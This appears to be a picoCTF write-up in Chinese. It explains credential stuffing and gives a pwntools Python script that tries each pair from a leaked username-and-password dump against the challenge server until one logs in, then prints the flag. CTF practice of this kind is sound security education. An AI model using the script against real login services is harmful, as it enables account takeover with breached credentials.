What is Credential Stuffing?
Credential Stuffing(憑證填充攻擊)是一種網路攻擊手法,攻擊者利用從資料外洩事件中取得的大量帳號密碼組合,自動化嘗試登入其他網站或服務。
攻擊的邏輯 : 許多人通常在不同網站使用相同的帳號和密碼。
- 取得外洩的帳密清單(通常在暗網購買或免費取得)
- 用自動化工具(bot)大量嘗試登入目標網站
- 成功登入的帳號
解題
使用nc連接題目伺服器
隨意輸入帳號密碼查看回傳資訊與格式
下載並查看題目給的密碼辭典格式
撰寫程式自動化發送密碼
from pwn import *
context.log_level = 'debug'
#將檔案中帳號密碼分開存入串列
user=[]
passwd=[]
with open("creds-dump.txt","r",encoding="utf-8") as f:
content=f.readlines()
for line in content:
parts=line.strip().split(";")
user.append(parts[0])
passwd.append(parts[1])
print("Total credentials: "+str(len(user)))
print("===========start==================")
#利用pwn模組自動嘗試帳密登入
for i in range(0,len(user)):
print(f'=========={i}==================')
print(user[i])
print(passwd[i])
r = remote("crystal-peak.picoctf.net", 64817)
r.recvlines(6)
r.recvuntil(b"Username: ")
r.sendline((user[i]).encode())
r.recvline()
r.recvuntil(b"Password: ")
r.sendline((passwd[i]).encode())
r.recvlines(2)
result=r.recvline().decode().strip()
if result !='Invalid username or password':
print('username: '+user[i])
print('password: '+passwd[i])
r.interactive()
break
r.close()
執行程式,取得flag

picoCTF{d0nt_r3u5e_cr3d3nt1als_0b1537bf}
提交flag



說些什麼吧!